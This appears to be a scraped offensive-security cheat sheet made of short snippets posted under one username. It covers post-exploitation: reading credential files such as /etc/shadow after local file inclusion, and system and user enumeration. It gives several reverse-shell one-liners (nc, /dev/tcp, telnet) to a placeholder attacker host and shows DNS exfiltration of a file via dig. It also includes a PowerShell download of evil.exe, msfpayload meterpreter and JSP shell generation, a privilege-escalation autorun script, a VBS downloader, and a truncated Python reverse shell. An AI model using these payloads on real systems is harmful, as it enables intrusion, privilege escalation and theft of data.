waywardsun

# Use these if you have a simple command shell through LFI or something similar.

/etc/issue (A message or system identification to be printed before the login prompt.)
/etc/motd (Message of the day banner content. Can contain information about the system owners or use of the system.)
/etc/passwd 
/etc/group 
/etc/resolv.conf (might be better than /etc/passwd for triggering IDS sigs)
/etc/shadow
/home/[USERNAME]/.bash_history or .profile
~/.bash_history or .profile

waywardsun

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

waywardsun

// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs

waywardsun

#1
nc <attacker_ip> <port> -e /bin/bash
#2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#3
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
#4
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#5
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>

waywardsun

On victim:
1. Hex encode the file to be transferred: 
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done

On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet

waywardsun

# Transfer file from attacking box to victim
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source="""http://attackerip/evil.exe"""; $destination="""C:\destination_file.exe"""; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);"

waywardsun

# generate windows meterpreter on port 4444 that outputs an asp file
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.16.31 LPORT=4444 R | msfencode -o mwcb.asp -e generic/none -t asp

#generate jsp reverse tcp over port 443
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.16.31 LPORT=443 R > jsprev.jsp 

#would likely need to add this jsp to a WAR file for deployment
jar -cvf jsprev.war * #from within the main war directory that also contains the WEB-INF dir

#simple javascript reverse shell over port 443

waywardsun

#autorun script (session.rc)
migrate -k -n explorer.exe
multi_console_command -cl "getsystem","getuid"
get_env
checkvm

#setting msf to use autorunscript above
set autorunscript multiscript.rb -rc /home/ryan/session.rc

waywardsun

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs

waywardsun

#!/usr/bin/python
# imports here
# Copyright 2012 TrustedSec, LLC. All rights reserved. 
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. 
import socket,subprocess
HOST = '192.168.12.45'    # The remote host
PORT = 443            # The same port as used by the server